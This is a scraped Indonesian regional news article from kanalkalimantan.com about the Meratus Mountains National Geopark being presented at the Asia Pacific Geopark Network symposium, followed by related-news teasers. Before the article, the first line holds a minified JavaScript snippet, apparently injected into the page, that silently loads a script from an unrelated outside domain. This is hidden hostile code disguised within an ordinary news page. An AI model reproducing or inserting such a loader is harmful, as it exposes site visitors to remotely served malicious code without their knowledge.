(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Geopark Nasional Pegunungan Meratus menonjolkan sejarah kejadian bumi pada beberapa geosite. Kandungan ofiolit tertua salah satu hal yang terus dipublis oleh Badan Pengelola Geopark Nasional Pegunungan Meratus.
Melalui Forum Internasional Simposium ke-6 Asia Pasific Geopark Network (APGN) di Kota Mataram, Nusa Tenggara Barat (NTB), Kalsel kembali menyajikan variasi geosite Geopark Nasional Pegunungan Meratus saat mendapatkan kesempatan prosentasi.
“Pada pertemuan tersebut kami prosentasi menulis jurnal supaya dimasukan ke dalam jurnal geopark internasional. Hal yang kami tulis variasi geosite apa aja. Tema yang diusung kemarin diprosentasikan dalam bahasa inggris,” jelas Kepala Bidang Air Tanah Dinas Energi dan Sumber Daya Mineral (DESDM) Kalsel, Ali Mustofa.
Menurut Ali, dari prosentasi tersebut ada beberapa masukan dari tim penilai unesco global geopark (UGG). Salah satunya Kalsel diminta memperkaya data sejarah kejadian bumi.
“Rekomendasi tersebut akan kami tindak lanjuti dengan penulisan bersama tim ahli geologi. Jika kita membuktikan dengan data bahwa misalnya di tempat kita ada kejadian bumi yang tidak terjadi di tempat lain, maka otomatis pengusulan UGG pasti diterima,” tegas Ali.
Adapun pada pertemuan yang dilaksanakan tanggal 3-6 September tersebut menghasilkan beberapa hasil penting. Selain penulisan jurnal juga disepakati kerjasama dengan 15 geopark nasional dan empat UGG. Dari kerjasama tersebut masing-masing geopark saling membantu promosi.
“Misal wisatawan yang berkunjung ke Bali juga akan diberitahukan bahwa di tempat lain ada geopark dengan keunggulan macam-macam, sehingga pengunjung bisa melanjutkan perjalan ke geopark lainnya. Keuntungan kerjasama tersebut Geopark Pegunungan Meratus mendapatkan promosi dari geopark lainnya, ” urainya.
Hasil lainnya pada pertemuan tersebut Geopark Nasional Pegunungan Meratus menawarkan diri menjadi tuan rumah pertemuan geopark Malindo (Malaysia-Indonesia).(rico)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.